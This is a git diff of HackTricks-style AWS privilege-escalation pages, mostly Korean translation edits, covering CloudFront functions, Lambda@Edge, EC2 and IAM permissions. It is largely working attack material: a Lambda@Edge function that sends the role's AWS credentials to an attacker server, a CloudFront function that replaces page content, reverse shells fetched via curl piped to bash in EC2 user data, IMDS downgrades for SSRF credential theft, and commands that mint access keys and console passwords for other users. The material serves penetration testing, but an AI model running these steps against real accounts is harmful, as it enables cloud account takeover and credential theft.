\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+
+
+
+Compromised Page
+
+
+Original Content
+This page has been modified by CloudFront Functions
+
+
+
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# CloudFront에 악성 함수 생성
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# DEVELOPMENT 단계에서 함수의 ETag 가져오기
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# LIVE 단계로 함수 게시
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https:///steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# Lambda@Edge 함수 패키징
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# 권한이 높은 역할로 Lambda@Edge 함수 생성
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# 함수 버전 게시
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# 업데이트된 distribution config 적용 (현재 ETag 사용 필요)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# 배포에 요청하여 함수를 트리거
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index 5a06fe366..12fff649d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -12,19 +12,19 @@ EC2에 대한 **자세한 정보**는 다음을 확인하세요:
### `iam:PassRole`, `ec2:RunInstances`
-공격자는 **IAM role을 연결한 인스턴스를 생성한 다음 인스턴스에 접근**하여 metadata endpoint에서 IAM role 자격증명을 탈취할 수 있습니다.
+공격자는 **IAM role을 연결한 인스턴스를 생성한 뒤 해당 인스턴스에 접근**하여 메타데이터 엔드포인트에서 IAM role 자격 증명을 탈취할 수 있습니다.
-- **Access via SSH**
+- **SSH를 통한 접근**
-**생성된** **ssh key** (`--key-name`)를 사용해 새 인스턴스를 실행한 후 ssh로 접속합니다 (새로 생성하려면 `ec2:CreateKeyPair` 권한이 필요할 수 있습니다).
+새 인스턴스를 **생성된** **ssh 키** (`--key-name`)로 실행한 뒤 ssh로 접속하세요 (새 키를 생성하려면 `ec2:CreateKeyPair` 권한이 필요할 수 있습니다).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
--security-group-ids
```
-- **user data의 rev shell을 통한 접근**
+- **user data에서 rev shell로 접근**
-새로운 인스턴스를 **user data** (`--user-data`)로 실행하면 **rev shell**을 보내도록 설정할 수 있습니다. 이렇게 하면 security group을 지정할 필요가 없습니다.
+새 instance를 **user data** (`--user-data`)로 실행하면 **rev shell**을 보내도록 할 수 있습니다. 이 방법으로는 security group을 지정할 필요가 없습니다.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -40,11 +40,11 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Potential Impact:** 기존 instance profiles에 연결된 EC2 role에 대한 direct privesc.
+**Potential Impact:** 기존 instance profiles에 연결된 EC2 role에 대한 Direct privesc.
#### Privesc to ECS
-이 권한들로 **create an EC2 instance and register it inside an ECS cluster** 할 수도 있습니다. 이렇게 하면, ECS **services**는 당신이 접근할 수 있는 **EC2 instance** 안에서 **run**되며, 그 서비스들 (docker containers)에 침투하여 **steal their ECS roles attached** 할 수 있습니다.
+이 권한들로 **create an EC2 instance and register it inside an ECS cluster**할 수도 있습니다. 이렇게 하면 접근 가능한 **EC2 instance** 내부에서 ECS **services**가 **run**되며, 이후 해당 서비스들 (docker containers)을 침투해 **steal their ECS roles attached**할 수 있습니다.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-To learn how to **force ECS services to be run** in this new EC2 instance check:
+이 새로운 EC2 인스턴스에서 **ECS 서비스를 실행하도록 강제하는 방법**을 알아보려면 다음을 확인하세요:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
+만약 **새 인스턴스를 생성할 수 없다면** 권한 `ecs:RegisterContainerInstance`가 있다면 클러스터에 인스턴스를 등록하고 앞서 언급한 공격을 수행할 수 있습니다.
-**잠재적 영향:** tasks에 연결된 ECS roles에 대한 직접적인 privesc.
+**잠재적 영향:** 작업에 연결된 ECS 역할로의 직접 privesc.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 **침해된 인스턴스의 IAM role을 변경**하여 새로운 자격증명을 훔칠 수 있습니다.\
-인스턴스 프로파일은 하나의 role만 가질 수 있으므로, 인스턴스 프로파일에 **이미 role이 있는 경우**(일반적인 경우), **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다.
+앞의 시나리오와 마찬가지로, 이러한 권한을 가진 공격자는 **침해된 인스턴스의 IAM 역할을 변경**하여 새로운 자격 증명을 탈취할 수 있습니다.\
+인스턴스 프로파일은 하나의 역할만 가질 수 있기 때문에, 인스턴스 프로파일에 **이미 역할이 있는 경우**(일반적인 경우), **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-만약 **instance profile has a role** 이고 attacker가 **cannot remove it** 못한다면, 다른 우회 방법이 있습니다. 그는 **find** 한 **instance profile without a role** 를 사용하거나 **create a new one** (`iam:CreateInstanceProfile`), 앞서 설명한 대로 그 **role** 을 해당 **instance profile** 에 **add** 한 뒤, compromised 된 **instance** 에 그 **instance profile** 을 **associate** 할 수 있습니다:
+만약 **instance profile에 role이 있고** attacker가 **그것을 제거할 수 없다면**, 다른 우회 방법이 있습니다. 그는 **role이 없는 instance profile을 찾거나** **새로운 instance profile을 생성할 수 있습니다** (`iam:CreateInstanceProfile`), 그 **instance profile에 role을 추가**(앞서 설명한 대로)한 뒤, **그 instance profile을 침해된 i**nstance에 연관(associate)**할 수 있습니다:
-- 만약 instance가 **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
+- 만약 instance가 **어떠한 instance profile도 가지고 있지 않다면** (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Potential Impact:** 다른 EC2 role로의 직접 privesc (AWS EC2 인스턴스를 침해했고 추가 권한 또는 특정 instance profile 상태가 필요합니다).
+**잠재적 영향:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-이 권한들이 있으면 인스턴스에 연결된 instance profile을 변경할 수 있습니다. 따라서 공격자가 이미 인스턴스에 접근 권한을 가지고 있다면, 연결된 instance profile을 변경해 더 많은 instance profile 역할의 자격 증명을 탈취할 수 있습니다.
+이 권한들이 있으면 인스턴스에 연결된 instance profile을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근한 상태라면 연결된 instance profile을 변경하여 더 많은 instance profile 역할의 자격 증명을 탈취할 수 있습니다.
-- 인스턴스에 **instance profile**이 있다면, 해당 instance profile을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 **연결**할 수 있습니다
+- 만약 해당 인스턴스에 **instance profile**이 있다면, 인스턴스의 instance profile을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 다시 **연결**할 수 있습니다
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- 또는 손상된 인스턴스의 **instance profile**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`).
+- 또는 손상된 인스턴스의 **instance profile**을 **replace**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Potential Impact:** 다른 EC2 role로의 Direct privesc (AWS EC2 인스턴스를 이미 침해했거나 추가 권한 또는 특정 instance profile 상태가 필요합니다).
+**잠재적 영향:** 다른 EC2 role로의 직접적인 privesc (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
### `ec2:RequestSpotInstances`,`iam:PassRole`
-권한 **`ec2:RequestSpotInstances`와 `iam:PassRole`**을(를) 가진 공격자는 **user data**에 **rev shell**을 포함한 상태로 **EC2 Role**이 연결된 **Spot Instance**를 **요청**할 수 있습니다.\
-인스턴스가 실행되면, 공격자는 **IAM role**을 **탈취**할 수 있습니다.
+해당 권한(**`ec2:RequestSpotInstances`and`iam:PassRole`**)을 가진 공격자는 **Spot Instance**를 **request**하여 **EC2 Role attached** 상태로 만들고 **user data**에 **rev shell**을 넣을 수 있습니다.\
+인스턴스가 실행되면 공격자는 **IAM role**을 **steal**할 수 있습니다.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-**`ec2:ModifyInstanceAttribute`** 권한을 가진 공격자는 인스턴스 속성을 수정할 수 있습니다. 그중에서 그는 **change the user data**를 변경할 수 있으며, 이는 인스턴스가 **run arbitrary data.**를 실행하도록 만들 수 있음을 의미합니다. 이는 **rev shell to the EC2 instance**를 얻는 데 사용할 수 있습니다.
+공격자가 **`ec2:ModifyInstanceAttribute`** 권한을 가지고 있으면 인스턴스의 속성을 수정할 수 있습니다. 그중 인스턴스의 **change the user data**를 변경할 수 있으며, 이는 인스턴스가 **run arbitrary data.** 하도록 만들어 **rev shell to the EC2 instance**를 얻는 데 사용될 수 있습니다.
-속성은 인스턴스가 중지된 상태에서만 **modified while the instance is stopped**할 수 있으므로, 해당 작업에는 **permissions**인 **`ec2:StopInstances`** 및 **`ec2:StartInstances`**가 필요합니다.
+속성은 인스턴스가 중지된 동안에만 **modified while the instance is stopped** 수 있으니, 따라서 **permissions**로 **`ec2:StopInstances`** 및 **`ec2:StartInstances`** 권한이 필요합니다.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Potential Impact:** 생성된 인스턴스에 연결된 어떤 EC2 IAM Role에도 직접적인 privesc.
+**잠재적 영향:** 생성된 인스턴스에 연결된 모든 EC2 IAM Role에 대한 직접적인 privesc.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-권한 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 을 가진 공격자는 **새 Launch Template 버전**을 생성해 **user data**에 **rev shell**을 넣고 그 템플릿에 **any EC2 IAM Role on it**을 할당할 수 있습니다. 기본 버전을 변경하면, **any Autoscaler group**이 **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version**일 경우 해당 템플릿으로 인스턴스를 **re-run the instances** 하여 rev shell이 실행됩니다.
+권한 **`ec2:CreateLaunchTemplateVersion`, `ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`**을(를) 가진 공격자는 **새로운 Launch Template 버전**을 생성하여 **user data에 rev shell을 포함시키고**, 그 템플릿에 **임의의 EC2 IAM Role**을 할당한 뒤 기본 버전을 변경할 수 있습니다. 이후 해당 **Launch Template을 사용하는 모든 Autoscaler group**이 **latest** 또는 **default version** 사용으로 구성되어 있으면 템플릿을 이용해 인스턴스를 재실행(re-run)하면서 rev shell이 실행됩니다.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Potential Impact:** 다른 EC2 role로의 직접 privesc.
+**잠재적 영향:** 다른 EC2 role로의 Direct privesc.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-권한 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 를 가진 공격자는 **Launch Configuration을 생성**하여 **IAM Role**과 **rev shell**을 **user data**에 넣고, 그 구성에서 **autoscaling group을 생성**한 뒤 rev shell이 **IAM Role을 탈취**할 때까지 기다릴 수 있습니다.
+권한 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`**을(를) 가진 공격자는 **create a Launch Configuration**를 통해 **IAM Role**과 **rev shell**을 **user data** 안에 포함시키고, 해당 구성으로부터 **create an autoscaling group**을 생성한 뒤 rev shell이 **steal the IAM Role**할 때까지 기다릴 수 있다.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**잠재적 영향:** 다른 EC2 role로의 직접 privesc.
+**Potential Impact:** 다른 EC2 role로 직접 privesc.
### `!autoscaling`
-권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** 만으로는 IAM role로 권한 상승을 하기에는 **충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 role을 연결하려면 **`iam:PassRole`과 `ec2:RunInstances` 권한이 필요합니다** (이는 잘 알려진 privesc입니다).
+권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** 만으로는 IAM role로 권한 상승을 하기에는 **충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 role을 연결하려면 **`iam:PassRole`와 `ec2:RunInstances`** 권한이 필요하기 때문입니다 (이는 알려진 privesc입니다).
### `ec2-instance-connect:SendSSHPublicKey`
-권한 **`ec2-instance-connect:SendSSHPublicKey`** 을 가진 공격자는 사용자에게 ssh 키를 추가하고(해당 인스턴스에 대한 ssh 접근이 가능한 경우) 이를 사용해 접근하거나 권한을 상승시킬 수 있습니다.
+권한 **`ec2-instance-connect:SendSSHPublicKey`** 를 가진 공격자는 ssh 키를 사용자에게 추가하고, (해당 공격자가 instance에 ssh 접근 권한이 있는 경우) 이를 이용해 접근하거나 권한을 상승시킬 수 있습니다.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Potential Impact:** 실행 중인 인스턴스에 할당된 EC2 IAM 역할에 대한 직접 privesc.
+**Potential Impact:** 실행 중인 인스턴스에 연결된 EC2 IAM roles에 대한 직접적인 privesc.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-권한 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`**을(를) 가진 공격자는 **serial 연결에 ssh key를 추가할 수 있습니다**. serial이 활성화되어 있지 않다면, 공격자는 이를 활성화하기 위해 권한 **`ec2:EnableSerialConsoleAccess`**이 필요합니다.
+권한 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`**을 가진 공격자는 **ssh 키를 serial 연결에 추가할 수 있습니다**. serial이 활성화되어 있지 않다면, 공격자는 이를 활성화하기 위해 **`ec2:EnableSerialConsoleAccess`** 권한이 필요합니다.
-serial 포트에 연결하려면 머신 내부의 사용자에 대한 **사용자명과 비밀번호를 알아야 합니다**.
+시리얼 포트에 연결하려면 머신 내부의 사용자 계정에 대한 **username과 password를 알고 있어야** 합니다.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-이 방법은 exploit하려면 username과 password를 알아야 하기 때문에 privesc에 그다지 유용하지 않습니다.
+이 방법은 exploit하려면 username과 password를 알아야 하기 때문에 privesc에는 그다지 유용하지 않습니다.
-**Potential Impact:** (Highly unprovable) 실행 중인 인스턴스에 연결된 EC2 IAM roles로의 직접적인 privesc.
+**잠재적 영향:** (증명하기 매우 어려움) running instances에 연결된 EC2 IAM roles로의 직접 privesc.
### `describe-launch-templates`,`describe-launch-template-versions`
-launch templates에는 버전 관리가 있으므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 user data에 존재하는 자격 증명과 같은 민감한 정보를 발견하기 위해 이를 악용할 수 있습니다. 이를 수행하기 위해, 다음 스크립트는 사용 가능한 launch templates의 모든 버전을 순회합니다:
+launch templates에는 버전 관리가 있으므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 이를 악용하여 user data에 포함된 자격 증명과 같은 민감한 정보를 발견할 수 있습니다. 이를 위해, 다음 스크립트는 사용 가능한 launch templates의 모든 버전을 순회합니다:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,29 +248,24 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
-위 명령들에서는 특정 패턴 (`aws_|password|token|api`)을 지정하고 있지만, 다른 정규식을 사용해 다른 종류의 민감한 정보를 검색할 수 있습니다.
+In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information.
-만약 `aws_access_key_id`와 `aws_secret_access_key`를 찾는다면, 이 자격 증명을 사용하여 AWS에 인증할 수 있습니다.
+Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
-**Potential Impact:** IAM user(s)에 대한 직접 권한 상승.
+**잠재적 영향:** Direct privilege escalation to IAM user(s).
-## 참고자료
+## 참조
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+### `ec2:ModifyInstanceMetadataOptions` (IMDS 다운그레이드로 SSRF credential theft 활성화)
+취약한 EC2 인스턴스에서 `ec2:ModifyInstanceMetadataOptions`를 호출할 수 있는 권한을 가진 공격자는 IMDS 보호를 약화시켜 IMDSv1 (`HttpTokens=optional`)을 활성화하고 `HttpPutResponseHopLimit`을 증가시킬 수 있습니다. 이렇게 하면 인스턴스 메타데이터 엔드포인트가 인스턴스에서 실행되는 애플리케이션의 일반적인 SSRF/proxy 경로를 통해 도달 가능해집니다. 공격자가 해당 애플리케이션에서 SSRF를 유발할 수 있다면, 인스턴스 프로파일 자격증명을 검색하여 pivot할 수 있습니다.
+- 필요한 권한: 대상 인스턴스에 대한 `ec2:ModifyInstanceMetadataOptions` (호스트에 대한 SSRF에 접근/유발할 수 있는 능력 포함).
+- 대상 리소스: 인스턴스 프로파일(IAM role)이 연결된 실행 중인 EC2 인스턴스.
-
-
-### `ec2:ModifyInstanceMetadataOptions` (IMDS 다운그레이드로 SSRF를 통한 자격 증명 탈취 활성화)
-
-피해 EC2 인스턴스에서 `ec2:ModifyInstanceMetadataOptions`를 호출할 수 있는 공격자는 IMDS 보호를 약화시켜 IMDSv1을 활성화(`HttpTokens=optional`)하고 `HttpPutResponseHopLimit`을 증가시킬 수 있습니다. 이렇게 하면 인스턴스에서 실행되는 애플리케이션의 일반적인 SSRF/프록시 경로를 통해 인스턴스 메타데이터 엔드포인트에 접근할 수 있게 됩니다. 공격자가 해당 애플리케이션에서 SSRF를 유발할 수 있다면, 인스턴스 프로필 자격 증명을 가져와 이를 사용해 권한을 확대할 수 있습니다.
-
-- 필요 권한: 대상 인스턴스에 대한 `ec2:ModifyInstanceMetadataOptions` (호스트에 도달/SSRF를 유발할 수 있는 능력 포함).
-- 대상 리소스: 인스턴스 프로필 (IAM role)이 연결된 실행 중인 EC2 인스턴스.
-
-예시 명령:
+명령 예시:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id \
@@ -297,5 +292,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-잠재적 영향: SSRF를 통한 instance profile credentials 도용으로 EC2 role permissions으로 privilege escalation 및 lateral movement가 발생할 수 있습니다.
+잠재적 영향: SSRF를 통한 instance profile credentials 도용으로 EC2 역할 권한을 이용한 privilege escalation 및 lateral movement로 이어질 수 있음.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+ec2:ModifyInstanceMetadataOptions 권한을 가진 공격자는 Instance Metadata Service (IMDS) 보호를 약화시킬 수 있습니다 — 예를 들어 IMDSv1로 강제( HttpTokens를 필요하지 않도록 )하거나 HttpPutResponseHopLimit을 증가시키는 방식으로 — 이로 인해 임시 자격 증명의 유출이 쉬워집니다. 가장 관련 있는 위험 벡터는 HttpPutResponseHopLimit을 올리는 것입니다: 해당 hop 한도(TTL)를 증가시키면 169.254.169.254 엔드포인트가 VM의 네트워크 네임스페이스에 엄격히 국한되지 않게 되어 다른 프로세스/컨테이너에서 접근 가능해지고, 자격 증명 도난을 초래할 수 있습니다.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+ec2:ModifyImageAttribute 및 ec2:ModifySnapshotAttribute 권한을 가진 공격자는 AMIs 또는 snapshots을 다른 AWS 계정과 공유(또는 공개)할 수 있으며, 이로 인해 구성, 자격 증명, 인증서 또는 백업과 같은 민감한 데이터를 포함하고 있을 수 있는 이미지나 볼륨이 노출될 수 있습니다. AMI의 launch permissions 또는 snapshot의 create-volume permissions을 수정하면 공격자는 제3자가 해당 리소스에서 instances를 launch하거나 disks를 mount하여 내용에 접근할 수 있게 됩니다.
+
+다른 계정과 AMI를 공유하려면:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+다른 계정과 EBS snapshot을 공유하려면:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index c1b76b3b0..dd5b08834 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -4,7 +4,7 @@
## IAM
-IAM에 대한 자세한 정보는 다음을 확인하세요:
+IAM에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,7 +12,7 @@ IAM에 대한 자세한 정보는 다음을 확인하세요:
### **`iam:CreatePolicyVersion`**
-`iam:CreatePolicyVersion` 권한은 `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한 없이 새 IAM 정책 버전을 생성할 수 있게 해줍니다. 이를 통해 맞춤 권한을 정의할 수 있습니다.
+새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한 없이 기본 버전 설정을 우회할 수 있습니다. 이를 통해 사용자 지정 권한을 정의할 수 있습니다.
**Exploit Command:**
```bash
@@ -23,53 +23,53 @@ aws iam create-policy-version --policy-arn \
### **`iam:SetDefaultPolicyVersion`**
-IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있게 하며, 새 버전이 더 많은 권한을 포함하는 경우 권한이 상승할 수 있습니다.
+IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있게 하며, 새 버전에 더 많은 권한이 있을 경우 권한을 상승시킬 수 있습니다.
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**영향:** 더 많은 권한을 부여하여 간접적인 권한 상승을 초래할 수 있음.
+**영향:** 추가 권한을 부여할 수 있게 하여 간접적인 권한 상승을 초래할 수 있음.
### **`iam:CreateAccessKey`**
-다른 사용자에 대해 access key ID와 secret access key를 생성할 수 있게 하여 잠재적인 권한 상승으로 이어질 수 있음.
+다른 사용자의 access key ID와 secret access key를 생성할 수 있게 하여 잠재적인 권한 상승으로 이어질 수 있음.
**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**영향:** 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승을 발생시킵니다.
+**영향:** 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승을 초래합니다.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-로그인 프로필을 생성하거나 업데이트할 수 있게 하며(예: AWS 콘솔 로그인용 비밀번호 설정 포함), 이는 직접적인 권한 상승으로 이어집니다.
+로그인 프로필을 생성하거나 업데이트(예: AWS 콘솔 로그인용 비밀번호 설정)할 수 있도록 허용하여 직접적인 권한 상승으로 이어집니다.
-**Exploit for Creation:**
+**생성용 Exploit:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**업데이트를 위한 Exploit:**
+**Exploit 업데이트용:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Impact:** "any" 사용자로 로그인하여 직접 권한 상승.
+**영향:** "any" 사용자로 로그인함으로써 직접적인 권한 상승이 발생할 수 있습니다.
### **`iam:UpdateAccessKey`**
